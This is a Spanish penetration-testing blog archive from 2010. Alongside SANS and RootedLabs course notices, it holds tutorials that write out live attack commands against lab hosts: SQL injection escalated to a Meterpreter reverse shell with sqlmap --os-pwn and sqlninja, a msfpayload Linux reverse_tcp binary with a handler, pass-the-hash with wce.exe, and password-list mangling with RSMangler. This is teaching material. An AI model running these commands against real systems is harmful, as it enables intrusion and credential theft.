lunes, 27 de diciembre de 2010

Nuevo grupo (y descuento!) para "Network Penetration Testing" del SANS

Hace aproximadamente 4 meses anunciamos en este mismo blog el curso "Network Penetration Testing & Ethical Hacking" del SANS Institute que se iba a impartir en modalidad Mentor en Madrid. También comentamos, mediante actualizaciones de este post, que el curso colgó el cartel de "SOLD OUT" en menos de 2 meses tras la fecha de anuncio del curso, y casi 3 meses antes de que dé comienzo (comienza a principios del próximo Febrero).
Pues bien, debido a este éxito, SANS Institute ha decidido abrir un segundo grupo de este mismo curso, también en Madrid, que se impartirá entre el 23 de Septiembre y el 25 de Noviembre, todos los viernes de 20:00 a 22:00, es decir, en el mismo horario que el primer curso.

La modalidad, temario, correo de contacto, etc, es la misma que anunciamos en el anterior curso, así que solo hay que recurrir AQUÍ para obtener toda la información.

Lo único que cambia son las fechas y el lugar donde se celebrarán los cursos. Aunque todavía podría haber algún cambio de última hora, casi con toda seguridad los cursos se impartirán en las instalaciones de S21sec, situadas en la calle Valgrande 6 (Edificio Telvent) del Polígono Industrial de Alcobendas (Madrid).


Para apuntarse a este nuevo curso, os recuerdo que PRIMERO ES NECESARIO CONTACTAR CON ALGUNO DE LOS MENTOR (Rafa Alfaro o yo mismo), para que os demos las instrucciones necesarias para apuntaros. No os apuntéis sin antes hablar con alguno de nosotros, por favor.

Además, aquellos que se apunten antes de final de año podrán acogerse a una oferta que ha lanzado el SANS Institute, por la cual, introduciendo el código Q1MG11 al apuntaros podréis distrutar de las tasas del examen de la certificación GPEN de forma GRATUITA! Podéis ver más detalles sobre las ofertas en este enlace.

Para más información, precio, y para apuntarse, pulsad AQUÍ.

Por último, deciros que para aquellas personas que les gustaría hacer este curso pero que no vivan cerca de Madrid y les gustaría realizar el curso de forma on-line, también pueden ponerse en contacto con nosotros para explicarles las opciones que tienen, y que si lo hacen antes de final de año podrían también verse beneficiados del descuento que comentábamos.

domingo, 19 de diciembre de 2010

"SANS Security Essentials Bootcamp Style" del SANS en Madrid

Como ya sabréis, en el último año SANS Intitute ha retomado la realización de cursos de distintos tipos en España. Hasta el momento se han realizado los cursos de Incident Handling, WebApp Pentesting, y están previstos para el año que viene dos ediciones del Network Pentesting (atentos a mi Twitter, anunciaré cuando se abra el segundo grupo, probablemente a lo largo de esta semana) y el Security Essentials, que es del que os hablaré hoy.

Como os decía, os anuncio que a partir del próximo mes de Febrero se impartirá en Madrid el curso "SEC401: SANS Security Essentials Bootcamp Stype" en modalidad Mentor, y con mi amigo Pedro Eisman (con quien impartí el SEC-504) como Mentor. En esta modalidad, los estudiantes dispondrán de una copia impresa de los materiales (en inglés) y de un DVD con las máquinas virtuales, herramientas, etc necesarias para realizar los ejercicios. Además de este material de auto-estudio, el Mentor impartirá una clase semanal de dos horas durante 10 semanas comprendidas entre el 3 de Febrero y el 7 de Abril. El objetivo principal de las clases es resolver dudas, mostrar como se usan las herramientas y la realización de ejercicios adicionales que favorezcan la comprensión de las técnicas y las herramientas, todo ello en Español. Las clases se realizarán los jueves de 19:30 a 21:30 en las instalaciones de VASS Consultoría de Sistemas, situadas en la Avenida Doctor Severo Ochoa 25, en Alcobendas (Madrid).

Por su parte, el SANS Institute ya ha publicado el curso para que la gente se apunte, pero si os interesa antes de apuntaros debeis poneros en contacto con el Mentor (Pedro Eisman) en pedroer@gm... (vamos, gmail.com, lo pongo así para evitar Spam). Si os interesa no tardeis en poneros en contacto con Pedro y apuntaros, porque en función de la gente interesada el curso se realizará o no.

Y a todo esto... ¿Qué es esto de "Security Essentials"?

A diferencia de otros cursos de SANS, que se suelen centrar en temas más específicos dentro de la seguridad, el curso de Security Essentials es un curso más genérico, en el que se abordan todos los aspectos más importantes del mundo de la seguridad informática, desde seguridad de redes o de sistemas operativos windows y unix, pasando por seguridad física, gestión de incidentes o disaster recovery, hasta temas de password cracking, seguridad de aplicaciones web, tipos de ataques, defensas, etc... Por su similitud con la visión global que dan otras certificaciones similares, se le suele llamar a este curso "el CISSP técnico", por mostrar un detalle mucho más profundo y práctico.

El curso es interesante para profesionales con algo de experiencia en seguridad, pero que quieran obtener una visión completa profundizando en aquellos temas en los que no tienen experiencia, así como aquellos profesionales de IT que deseen orientarse al mundo de la seguridad y conocer las diferentes amenazas y defensas que pueden aplicar a su entorno.

El enfoque del curso será eminentemente práctico, como suele ser habitual en los cursos de SANS y lo que les diferencia de otros cursos de seguridad informática. Las sesiones principalmente se dedican a hacer ejercicios prácticos, resolver dudas con el temario y demostrar las diferentes herramientas y conceptos.

Por último, añadir que el curso permite obtener la certificación GSEC, que como hemos comentado podría considerarse un equivalente al CISSP en SANS, pero mucho más práctico.

Os dejo unos enlaces del contenido del curso:

Actualización: SANS ha lanzado una promoción hasta el 31 de Diciembre mediante la cual las tasas de examen de la certificación de cualquier curso en modalidad Mentor saldrá totalmente gratis, lo que supone cerca de 500€ de descuento. Para ello es necesario apuntarse usando el código Q1MG11. Consulta con el Mentor para más información.

lunes, 13 de diciembre de 2010

SQL Injection Hasta la Cocina - MS SQL Server

Hay determinadas vulnerabilidades que frecuentemente son menospreciadas, bien porque se considera que por si misma tienen poco impacto sobre los sistemas, o bien porque se considera que la máquina es poco importante.

En el caso de las Inyecciones SQL la gente suele tomárselas en serio, pero existe la sensación de que es una vulnerabilidad que "solo" permite acceder a la información de la base de datos, por lo que si el sistema no contiene información sensible suele ser tratada como una vulnerabilidad poco importante.

Sin embargo, depende del tipo, versión y configuración de la base de datos, es posible obtener control total de una máquina a través de una Inyección SQL, y a partir de ahí utilizar ese acceso para emplear cualquier técnica de post-explotación como puede ser crackeo de contraseñas, relaying, etc.

Concretamente, para este primer post, vamos a utilizar una vulnerabilidad de Inyección SQL en una aplicación web que utiliza un servidor de base de datos Microsoft SQL Server 2005, donde el usuario utilizado tiene privilegios de administrador. Concretamente, vamos a utilizar exactamente el mismo entorno y aplicación web utilizado en este otro post, aunque vosotros lo podéis utilizar con cualquier otra.

En versiones anteriores de MS SQL Server era posible, aunque el usuario no tuviera privilegios de administrador, realizar un ataque de fuerza bruta contra la contraseña del usuario "sa", y si esta era encontrada se podían lanzar todo tipo de comandos SQL con esos privilegios, pero para este post, por simplicidad, vamos a suponer que el usuario ya dispone de privilegios de administrador.

La explotación de esta vulnerabilidad, por supuesto, podríamos hacerla completamente a mano, lo cual es muy útil con fines didácticos y para entender bien el ataque, pero para este post vamos a usar dos herramientas que realizan todas estas acciones de forma automática: SQLMap y SQLNinja.

A modo de explicación de lo que realizan estas herramientas a bajo nivel, realizan los siguientes pasos (los nombres de los ficheros y extensiones no son exactos, pero sirven para que entendemos como funciona):
  1. Establecemos el tipo de conexión que queremos, shell directa o inversa, puertos, tipo de payload, codificación, etc.
  2. Se general un binario backdoor.exe (o el nombre que sea) mediante el uso de msfpayload de Metasploit, con las opciones anteriormente definidas.
  3. Convertimos backdoor.exe (binario) en un fichero de texto auto-extraible backdoor.bat (por ejemplo).
  4. Subimos el contenido texto de backdoor.bat mediante el uso de xp_cmdshell (básicamente como si hicieramos un echo "blablablabla" >> backdoor.bat hasta que tengamos todo el fichero subido).
  5. Ejecutamos backdoor.bat para que backdoor.exe sea desplegado en el sistema.
  6. Lanzamos msfconsole o msfcli con los parámetros adecuados para recibir la conexión (supongamos que elegimos hacer un reverse shell.
  7. Ejecutamos backdoor.exe, que lanzará la conexión contra nuestro Metasploit, y se iniciará la sesión en el sistema comprometido.
  8. A divertirse :)
Una vez que sabemos y entendemos como funcionan estas herramientas, podemos pasar a utilizarlas para que nuestra explotación sea más ágil y rápida:


Una vez hemos comprobado que el parámetros es vulnerable, tal y como hacíamos en este post anterior, comprobaremos a ver si tenemos suerte y el usuario utilizado por la aplicación web es administrador de la base de datos:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --is-dba


Teniendo el usuario privilegios de DBA, se nos abre la posibilidad de "entrar hasta la cocina" en esta máquina, ya que con estos privilegios podremos reactivar la función xp_cmdshell, que nos va a permitir la ejecución de comandos en la máquina, incluyendo alguno de los Payloads de Metasploit:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --msf-path=/opt/metasploit3/msf3 --os-pwn

Durante el proceso, se nos irán haciendo algunas preguntas para definir mejor la explotación que queremos hacer. Si utilizamos todas las opciones por defecto tendremos una reverse shell con Meterpreter. Unicamente es necesario definir un par de parámetros, el primero es para "autorizar" al SQLMap a activar el procedimiento xp_cmdshell, y el segundo es para definir la IP y Puerto Local, que nos interesa que sea nuestra IP Pública (si salimos por NAT) y el puerto 80, que es el que más fácilmente estará abierto de salida hacia Internet:

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y

which is the local address? [172.16.24.150] 172.16.24.150
which local port number do you want to use? [12251] 80

Una vez elegidas todas las opciones, SQLMap utiliza el msfpayload de Metasploit para generar un binario, en este caso un Meterpreter, que será codificado en modo texto para ser subido al servidor, a través de la Inyección SQL existente:


Cuando acabe de subirlo, lanzará tanto Metasploit con el Handler adecuado, como el binario generado dentro del servidor de base de datos, con lo que se establecerá la sesión de Meterpreter en el sistema que contiene la base de datos:


Como podemos ver, tenemos el Meterpreter ejecutándose con los privilegios del usuario "Servicio de red", que no dispone de los privilegios suficientes como para hacer un Dump de los Hashes del sistema, pero que nos da un primer punto de entrada en el sistema para luego elevar privilegios de alguna forma y poder tomar control total del sistema.


¡Hasta la cocina!
(con SQLMap)


SQLNinja es otra de las herramientas que podemos usar para hacer este tipo de ataques. Al contrario de lo que sucede en SQLMap, en SQLNinja deberemos definir algunos de los parámetros del ataque en un fichero de configuración llamado sqlninja.conf, que se encuentra en el mismo directorio de la herramienta. En el caso que nos ocupa, deberemos cambiar los siguientes parámetros del fichero para configurar nuestro host objetivo, y dejar el resto de parámetros tal como están:

host = 172.16.24.151
port = 80
method = GET
page = /default.asp
stringstart = id=1;
stringend =
lhost = 172.16.24.150
msfpath = /opt/metasploit3/msf3/

Ahora solo tenemos que lanzar SQLNinja con la opción -m test para comprobar si detecta correctamente la inyección:

# ./sqlninja -m test


Podríamos ahora utilizar SQLNinja para sacar toda la información de la base de datos tal y como hemos hecho con SQLMap en otras ocasiones, pero esta vez vamos a lo que vamos, y el objetivo es conseguir el control de la máquina, así que vamos directamente a ello. Lo primero de todo es ver si xp_cmdshell se encuentra disponible:

# ./sqlninja -m fingerprint


Lo tenemos desactivado, pero vemos que tenemos privilegios de administrador de la base de datos, así que como ocurría en SQLMap, vamos a poder re-activarlo, de la siguiente forma:

# ./sqlninja -m resurrectxp


Ahora que ya tenemos el xp_cmdshell activado, ya podemos generar el payload Meterpreter igual que hacíamos antes:

# ./sqlninja -m metasploit


SQLNinja sube el payload de Metasploit a la máquina comprometida y posteriormente lo ejecuta con xp_cmdshell, y lanza de forma automática el Metasploit para recibir esta conexión:


A partir de aquí ya tenemos el Meterpreter ejecutándose en la máquina, al igual que teníamos con SQLMap, así que ya solo tenemos que elevar privilegios de la misma forma de antes (si podemos) para obtener el control total de la máquina.

¡Hasta la cocina!
(con SQLNinja)

Por supuesto, podríamos utilizar cualquier otra herramienta que hiciera algo parecido a lo que acabamos de ver, o incluso codear algo parecido o hacerlo a mano si nuestro escenario de explotación es muy particular y las herramientas disponibles no funcionan, pero el proceso sería más o menos el mismo.

domingo, 5 de diciembre de 2010

¿Meterpreter para Linux?

Hace unos días me encontraba utilizando mi Metasploit, que siempre tengo actualizada a la última versión de SVN, y me encontré una cosa curiosa al intentar lanzar un exploit cuando ejecuté el comando "show payloads" para ver los payloads que tenía disponibles:

[...]
linux/x86/meterpreter/bind_ipv6_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/reverse_ipv6_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/metsvc_bind_tcp
linux/x86/metsvc_reverse_tcp
[...]

¡¡¡ METERPRETER PARA LINUX !!!

Sentí como si HD Moore hubiera oído por fin mis plegarias. Siempre me he preguntado (y por lo que he podido comentar, no he sido el único) por qué no habían sacado un Meterpreter para otros sistemas que no sean Windows, si se debía a algún problema técnico que desconociéramos, a las diferencias existentes en Linux al existir una amplia variedad de distribuciones, o algo así.

Pegándole un ojo a los créditos del payload, vemos la siguiente descripción:


Sorprendentemente, no había leído en el blog de Metasploit (el cual sigo frecuentemente) ni en ningún lado de la existencia de este payload, por lo que era de esperar que estuviera en un estado bastante beta, así que me puse a hacer algunas pruebas.

Para ello, lo primero, fue generarme un binario para Linux con este payload, para no tener que explotar la vulnerabilidad para cada prueba que quisiera hacer. Esto lo hice con el comando msfpayload de Metasploit, de la siguiente forma:

# cd /opt/metasploit3/msf3
# ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

Una vez hecho esto, lancé en mi msfconsole el payload multi/handler, un módulo al que le especificas el payload y sirve para poder recoger las conexiones, tanto directas como inversas, de los diferentes payloads de Metasploit:

# ./msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.24.150
msf exploit(handler) > exploit

Por último lancé el binario que había generado previamente para que realice la conexión inversa hasta el multi/handler que he lanzado en Metasploit:

# cd /tmp
# ./meterlin.bin

Y vemos como en nuestro msfconsole nos aparecen los mensajes a los que estamos acostumbrados cuando lanzamos este mismo payload en un Windows:


BIEN! Ahora solo nos quedaba jugar un poco con el Meterpreter, así que lancé un "help" y me dispuse a probar las funcionalidades, y estos fueron los resultados de mis pruebas:
  • Módulo "priv" (para hacer "hashdump" y similares) NO funciona.
  • Comandos "ipconfig", "route", "kill" y otros comandos básicos SI funcionan, pero curiosamente "ps" NO, y "migrate" tampoco.
  • Comando "execute" SI funciona, aunque se queda colgado al salir.
  • Comandos "upload" y "download" SI funcionan.
  • Comando "portfwd" SI funciona.
Al final, después de un rato de probar, estas fueron mis conclusiones:
  • El Payload está aún en estado beta, aún falta bastante para que tenga toda la potencia del Meterpreter para Windows
  • Puede ser interesante usarlo en sistemas Linux, porque podemos con un solo payload subir de forma cómoda los ficheros que deseemos, ejecutarlos, redirigir puertos, y algunas opciones más, lo cual va a agilizar mucho nuestros pentests.
  • Hay que estar muy al tanto de las evoluciones de este payload.
Para finalizar, sentí curiosidad sobre si se estaban desarrollando versiones de Meterpreter para más plataformas, así que hice una pequeña búsqueda, y este fue el resultado:

[...]
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc_reverse_tcp
java/meterpreter/bind_tcp
java/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
[...]
php/meterpreter/bind_tcp
php/meterpreter_reverse_tcp
[...]

Muy muy interesante, no os parece :)
Seguiremos informando...

martes, 30 de noviembre de 2010

Metasploit para Pentesters en los RootedLabs

Como ya sabréis todos, los días 3, 4 y 5 de Marzo de 2011 tiene lugar en Madrid las Conferencias RootedCON, que iniciaron su andadura el año pasado con gran éxito.


Como parte de las conferencias, unos días antes, los días 28 de Febrero, 1 y 2 de Marzo, tienen lugar los RootedLabs, una serie de cursos de formación de todo tipo de una jornada de duración a un precio de 200€+IVA cada uno de ellos.

Uno de ellos, con el título "Metasploit para Pentesters" será impartido por mi mismo, y a lo largo del curso aprenderemos a manejar la Metasploit, a lanzar exploits de diferentes tipos, utilizar diferentes payloads, y todo lo necesario para utilizar Metasploit dentro de un Test de Intrusión.


Por supuesto, hay muchos más cursos muy interesantes dentro de los RootedLabs, de una temática muy diversa, así que te recomiendo que le pegues un vistazo a la lista y elijas el que más se adapta a tus necesidades o gustos:
  • Alejandro Ramos - Test de intrusión
  • Chema Alonso - Open Source Intelligence Gathering for Pentesting with FOCA
  • Chema Alonso - Técnicas de Inyección en aplicaciones web
  • José Selvi - Metasploit para Pentesters
  • Joxean Koret - Fundamentos de Ingeniería Inversa
  • Juan Garrido - Análisis Forense de red
  • Juan Luis G. Rambla - Ataques en redes de datos
  • Pedro Sánchez - Análisis Forense de Dispositivos Móviles
Para más información, acudid directamente a la web de los RootedLabs:

lunes, 22 de noviembre de 2010

SQLMap, SQL Server & Hyphens

Hace algún tiempo me encontré con una situación interesante mientras auditaba una aplicación web conectada a un servidor de base de datos Microsoft SQL Server que provocaba que ninguna de las herramientas que utilizo habitualmente para la explotación de Blind SQL Injection funcionara correctamente.

La aplicación web presentaba una vulnerabilidad de Inyección SQL en uno de sus parámetros. Evidentemente no puedo mostrar la aplicación real que contenía el fallo, pero pongamos que la aplicación tenía un código como el siguiente:


Evidentemente, la aplicación es vulnerable a Inyección SQL, y ni siquiera Inyección SQL Ciega, pero vamos a usarlo como ejemplo.

Si lanzamos la herramienta SQLMap para la detección y explotación del parámetro "id", obtenemos lo siguiente:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id


Perfecto! SQLMap detecta correctamente que el parámetro "id" es vulnerable, y nos muestra el fingerprint del servidor de base de datos. Ahora, como un posible segundo paso, veríamos las bases de datos contenidas en el servidor:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --dbs


Cuando llegué a este punto en la auditoría, intenté ir accediendo a la información contenida en las bases de datos, pero cuando le tocó a "test-db" me encontré con algo así:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id -D "test-db" --tables


Parece que por algún motivo no puedo recuperar las tablas de la base de datos. No hubo manera de hacerlo funciona cambiando las opciones, ni tampoco era por un tema de permisos, puesto que era la base de datos utilizada por la aplicación web. Probé otras herramientas y nada, todas me devolvían el mismo resultado.

Al final, lancé SQLMap con la opción "-v 2", para así poder ver con algo más de detalle que estaba pasando, y obtuve lo siguiente:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id -D "test-db" --tables -v 2


La SQL, a mis ojos, parecía correcta, pero por si acaso me la llevé a una maqueta de Microsoft SQL Server y la lancé, con lo que obtuve un "bonito" error de sintaxis:


"Sintaxis incorrecta cerca de -", y el único "-" que hay en la SQL es el del nombre de la base de datos, así que... no puede ser que el guión (hyphen) sea un carácter no permitido para nombres de tablas en Microsoft SQL Server, porque de hecho la tabla existe, pero parece tratarse de algún tipo de carácter especial en SQL que deberá ser escapado de alguna manera.

Revisando la documentación del SQL Server y referencias varias en Internet, me encontré con que es posible definir el nombre de una tabla entre corchetes, y que eso podría evitar que ese guión fuera interpretado como lenguaje SQL. Veamos que pasa si cambiamos la SQL anterior incluyendo esos corchetes:


Bueno, parece que SÍ que era ese el problema, así que solo necesitamos decirle a SQLMap que el nombre de nuestra base de datos es "[test-db]" en lugar de "test-db" para poder seguir extrayendo la información.

Tras extraer el nombre de las tablas (opción --tables), vemos una llamada "usuarios", así que aprovechamos lo que acabamos de aprender para obtener todo el contenido de la tabla:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id -D "[test-db]" -T usuarios --dump


Hay otra manera de corregir este problema para que no nos vuelva a suceder ni ahora ni nunca, independientemente del nombre que tengan las bases de datos. SQLMap contiene las sentencias SQL dentro de un fichero llamado queries.xml (en el directorio "xml" del sqlmap), con lo que podemos realizar pequeñas (o grandes si nos atrevemos) modificaciones sobre ellas, entre las cuales podemos incluir corchetes en las referencias a nombre de tablas, que serán del tipo %s..loquesea, y que tras la modificación pasarán a ser [%s]..loquesea, o de tipo [DB]..loquesea que pasará a ser [[DB]]..loquesea, solo para la zona de sentencias para SQL Server, por supuesto:


Una vez hecho esto podemos lanzar la herramienta de una forma totalmente normal, y no volveremos a encontrarnos este problema.

Cualquiera de las dos formas nos vale para solucionar nuestro problemilla, aunque a mi me gusta más la segunda. No será la primera vez que toca modificar algo en el código de sqlmap para adaptarlo alguna situación concreta, como por ejemplo WAFs que filtran algunas palabras y que fastidian un poco.

Pero eso ya para otro post.

lunes, 8 de noviembre de 2010

Pregunta de la No cON Name

Durante la charla que dimos en la No cON Name sobre "IP Fragmentation Overlapping", en la ronda de preguntas, uno de los asistentes preguntó si era posible encontrar overlapping en un tráfico normal de la red, es decir, sin que existan malas intenciones.

Yo respondí que, desde mi punto de vista, NO, ya que el overlapping es una situación completamente anómala, y ninguna pila TCP/IP debería fragmentar con overlapping, así que si nos encontramos una fragmentación con overlapping, casi 100% seguro tenemos detrás alguna persona con no muy buenas intenciones.

Tras mi respuesta, una persona levantó la mano y me planteo una situación, que era... ¿qué pasa si los fragmentos van por un camino muy lento, tanto que salta el timeout del origen y vuelve a reenviar los datos, y esta vez van por otro camino más rápido, de tal forma que llegan al destino ambos fragmentos a la vez? Entonces se produciría overlapping sin que sea un ataque, ¿no?

Mi respuesta estuvo basada completamente en la suposición y en el conocimiento que tengo de como funciona la fragmentación ip y las redes en general, pero tal y como dije en las conferencias, es algo que no podía garantizarles sin probarlo.

Ahora, después de probarlo, vamos a darle una respuesta algo más que teórica a esta pregunta:
  1. En caso de que se produjeran, los dos fragmentos con el mismo offset deberían tener EXACTAMENTE los mismos datos, así que el método de defragmentación sería indiferente. Si algo similar a esto ocurriera, la clave para determinar si es un ataque o alguna anomalía en la red, es comprobar el contenido de los fragmentos. Si los fragmentos que hacen overlapping tienen exactamente el mismo contenido, no hay problema, no se trata de un ataque. Si tienen contenido diferente... alerta! alguien ahí fuera está intentando algo.
  2. Mi respuesta, basada en la lógica, es que dado que no se recibe un ACK de cada fragmento, sino que se recibe el ACK del paquete una vez defragmentado, en caso de no recibirse el ACK (por congestión, porque se pierde un fragmento y no se puede reconstruir, porque el checksum del paquete defragmentado ha fallado, por lo que sea), el origen vuelve a enviar el paquete (al no recibir ACK), y este paquete (que no fragmento) viajará por la red, y si llega a un router en el que debe ser fragmentado, se fragmentará, pero es posible que ni siquiera sea el mismo router que realizó la anterior defragmentación, así que el IPID sería diferente.
No dispongo de una infraestructura de red como para probar todo esto, pero haciendo una pequeña prueba con fragroute con una configuración como la de la segunda demo de las conferencias, ya que en ocasiones (como se puede ver en la demo) no se fragmentaba correctamente y la conexión no funcionaba. En estos casos, he realizado una captura de red para observar los IPID de los fragmentos al ser reenviados, y este ha sido el resultado:


Como podéis ver, el Linux asigna IPIDs consecutivos para cada fragmentación, y aunque evidentemente esto es algo que puede cambiar con el tipo de pila TCP/IP del sistema que realiza la fragmentación, entendemos que es más que improbable que dos paquetes con mismo origen, destino, número de secuencia, etc, resultaran ser fragmentados con el mismo IPID (sería una sucesión de colisiones muy complicada).

Aún así, la posibilidad teórica existe, y en ese caso, como decíamos anteriormente, el contenido es el que nos dirá si se trata de un ataque o no.

lunes, 25 de octubre de 2010

No cON Name: IP Fragmentation Overlapping

Como ya anunciamos anteriormente, el pasado jueves a las 09:15 estuvimos en las Conferencias No cON Name dando una charla sobre "IP Fragmentation Overlapping", un tema que ya habíamos comentado en este blog con anterioridad, pero al que le dimos una pequeña vuelta para convertirlo en algo más útil de cara a auditar y proteger los sistemas de una empresa.

Podéis descargaros la presentación de aquí (PDF o Scribd), pero os recomiendo que la veáis en el siguiente video, ya que la presentación era un KeyNote y se ve todo mucho mejor si se ven todas las transiciones en movimiento:


Durante la presentación, veréis que se hicieron 3 demostraciones que siguiendo el orden en el que se presentaron, fueron las siguientes:

Demo 1: Atacando un Windows con Fragroute


Demo 2: Atacando un MacOS con Fragroute


Demo 3: Frag3 (Snort) contra Fragroute


Para finalizar, la charla fue grabada en directo por el Staff de No cON Name y estará disponible a lo largo de la semana para su visión en la web oficial, aunque os lo pondré aquí también "empotrado" el video en cuanto sea publicado.

Muchas gracias a todos los asistentes, espero que os gustara la presentación tanto como a mi presentarla.
Saludos a todos, y hasta la próxima conferencia.

miércoles, 13 de octubre de 2010

WCE: Windows Credential Editor

Windows Credential Editor (WCE) v1.0 es una herramienta desarrollada por Hernan Ochoa (Amplia Security) que ha sido publicada recientemente como una evolución del Pass-the-Hash Toolkit, una de las mejores herramientas hasta el momento para realizar ataques de Pass-the-Hash, los cuales ya comentamos anteriormente tanto en el blog como en las Conferencias FIST.

Amplia Security Research (muy recomendable): Link.
Descargar WCE v1.0: Link.

Si descargamos la herramienta y la probamos, nos encontramos con un solo binario, que al ser llamado con la opción -h nos muestra la ayuda:


Como podemos ver, este binario nos proporciona toda la funcionalidad que nos proporcionaban los diferentes binarios que formaban parte del Pass-the-Hash Toolkit, más algunas funcionalidades nuevas de las que hasta ahora no disponíamos, como por ejemplo mantener en pantalla una lista de los usuarios que en cada momento tienen un login activo, al más puro estilo el comando "watch" de Linux.

Centrándonos en las opciones que nos van a resultar más directamente útiles para la realidación del pass-the-hash, en primer lugar deberemos obtener el Hash que queremos suplantar. Para ello hay una gran variedad de formas de hacerlo, pero por poner un ejemplo que ya se utilizó en nuestro anterior post, podríamos hacerlo con el comando hashdump de Meterpreter:


Una vez que tenemos el Hash (de esta u otra forma) ya solo tenemos que llamar al wce.exe con la opcion -s para cambiar nuestro Hash actual en memoria por el nuevo hash, y de esta manera usurpar la identidad:

> wce.exe -s Usuario:Dominio:LMHash:NTHash

Una vez hecho esto, podemos comprobar que las credenciales se han cambiado satisfactoriamente con la opción -l:

> wce.exe -l


Una vez hecho esto, podemos utilizar cualquier herramienta que se autentique por medio de Windows (por ejemplo, recursos compartidos) para acceder a otros equipos con las credenciales del usuario cuyo Hash habíamos obtenido. Podemos ver una demostración de esto en nuestro anterior post.

Una de las grandes ventajas que le veo a esta herramienta con respecto al Pass-the-Hash Toolkit, aparte de que resulte más cómodo disponer de toda la funcionalidad en un solo binario, y de las funciones extra que nos encontramos, es que parece ser que dispone de un reconocimiento muy mejorado del tipo de sistema en el que corre (eso o Hernán ha incluido las direcciones de un Windows XP en Español).

Si lo recordais, en la presentación que hicimos en las FIST comentábamos que el Pass-the-Hash Toolkit tenía que saber en que direcciones de la memoria debía leer y escribir los hashes, y que aunque tenía una serie de hashes hardcodeados, para un Windows XP en Español era necesario proporcionárselos a mano mediante la opción -a, ya que no venían por defecto. Hubo varias dudas sobre este proceso, así que acabamos por publicar otro post sobre cómo obtener estas direcciones para tu sistema.

Pues bien, con WCE no va a ser necesario este paso previo, no dabemos si porque Hernán ha incluido un listado más amplio de direcciones o porque la herramienta disponga de un mecanismo de búsqueda que obtenga estas direcciones por si mismo.

En cualquier caso, supone una importante mejora con respecto a su predecesor.
Como decían en el precio justo... a jugar! :D

lunes, 4 de octubre de 2010

RSMangler Vs John The Ripper

Sin duda alguna, uno de los factores fundamentales en el éxito de un ataque de diccionario contra un hash u otro tipo de cifrado, es la calidad de dicho diccionario.

La semana pasaba publicábamos un post explicando el uso de CeWL para crear diccionarios de palabras específicas del "argot" de una empresa, pero al mismo tiempo nos dábamos cuenta de la necesidad de crear variaciones a partir de cada palabra para enriquecer nuestro diccionario.

Para ello, vamos a partir de una de las palabras que obtuvimos de ese crawling, "Keteke", y vamos a emplear dos conocidas herramientas: RSMangler y John the Ripper.

RSMangler

RSMangler es una herramienta que descubrimos hace poco pero que tiene muy buena pinta. Si miramos el --help podemos observar como incluye una gran variedad de posibles mutaciones.
Un detalle curioso es que para DESACTIVAR los tipos de mutación hay que incluir la opción en la línea de comando, y no al contrario.

Veamos que tipo de mutaciones soporta:
  • Permutaciones (--perms): Combinación entre las diferentes palabras del diccionario. Generará muchíiiisimas combinaciones si le pasamos una lista como la salida de CeWL. Esta opción es solo para un conjunto muy pequeño de palabras:
jose
selvi joseselvi selvijose
  • Duplicado (--double): Duplica cada una de las palabras. Usado a veces por los usuarios si su palabra no llega al mínimo de caracteres exigidos:
jose
josejose
  • Reversa (--reverse): Le da la vuelta a la palabra. Esta no es a priori una opción muy escogida por sus usuarios debido a la dificultad para teclear una palabra del revés:
jose
esoj
  • Estilo Hax0r (--leet): Cambiar vocales por números. Una forma muy utilizada por muchos administradores:
jose
j0s3
  • Primera Mayúscula (--capital): Pone la primera letra mayúscula.
  • Mayúsculas (--upper): Pone todo a mayúsculas.
  • Minúsculas (--lower): Pone todo a minúsculas.
  • Invertir Mayúsculas (--swap): Las mayúsculas se convierten en minúsculas y viceversa. Tampoco es una formula muy usada por los usuarios, en general.
  • Participio (--ed): Añade sufijo -ed al final, para formar el participio en inglés. Si nuestro diccionario es Español, no tiene sentido.
  • Gerundios (--ing): Añade sufigo -ing al final, para formar el gerundio en inglés. Si nuestro diccionario es Español, no tiene sentido.
  • Signos de Puntuación (--punctuation): Añade algunos signos de puntuación al final de la palabra. La lista de signos no es la más acertada:
Jose
Jose!
Jose@
JoseÂ
Jose£
...
  • Años (--years): Añade un año delante y detrás. Puede ser útil, pero de nuevo la elección de los años no es la más acertada:
Jose
1990Jose
Jose1990
1991Jose
Jose1991
...
  • Acrónimos (--acronym): Combina las palabras para crear acrónimos. Tiene los mismos problemas que las permutaciones:
Jose
Selvi
JS
  • Passwords Comunes (--common): Interesante opción para añadir sufijos conocidos:
Jose
pwJose
pwdJose
adminJose
sysJose
Josepw
Josepwd
Joseadmin
Josesys
...
  • Dos cifras al final (--pna): Añade dos cifras al final, aunque se queda en 09:
Jose
Jose01
...
Jose09
  • Dos cifras al inicio (--pnb): Igual que el anterior, pero al inicio.
  • Números al final (--na): Añade un número al final, aunque se queda en 123:
Jose
Jose1
Jose2
...
Jose123
  • Números al principio (--nb): Igual que el anterior, pero al inicio.

Sabiendo que hay combinaciones que en general no nos van a interesar, podemos tomar la opción de cambiar el código de la herramienta para que no tener que poner todos los --loquesea para desactivarlos. Siguiendo la recomendaciones anteriores, vamos a la linea 89 del script rsmangle.rb y editamos las siguientes lineas que establecen el valor por defecto de cada opción a las siguientes:

verbose=false
leet=true
perms=false
double=true
reverse=false
capital=true
upper=true
lower=true
swap=false
ed=false
ing=false
punctuation=true
years=true
acronym=false
common=true
pna=true
pnb=true
na=true
nb=true
force=false
file_handle = nil

También os animo a que hagáis otras modificaciones sobre la herramienta, por ejemplo cambiar los signos de puntuación utilizados (linea 262):

for i in ("!@$%^&*.,".scan(/./))

Una vez hecho esto, solo tenemos que lanzar la herramienta sobre nuestro diccionario original, para obtener un diccionario enriquecido:

# wc -l test.txt
